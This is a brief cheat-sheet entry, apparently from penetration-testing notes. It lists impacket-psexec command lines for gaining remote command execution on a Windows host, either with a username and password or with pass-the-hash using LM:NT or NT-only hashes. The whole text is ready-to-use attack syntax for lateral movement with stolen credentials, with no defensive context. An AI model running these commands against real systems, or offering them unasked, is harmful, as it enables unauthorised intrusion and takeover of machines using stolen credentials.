impacket-psexec [user]:[password]@$IP impacket-psexec [user]@$IP -hashes LM:NT # if only the NT hash exists impacket-psexec [user]@$IP -hashes :NT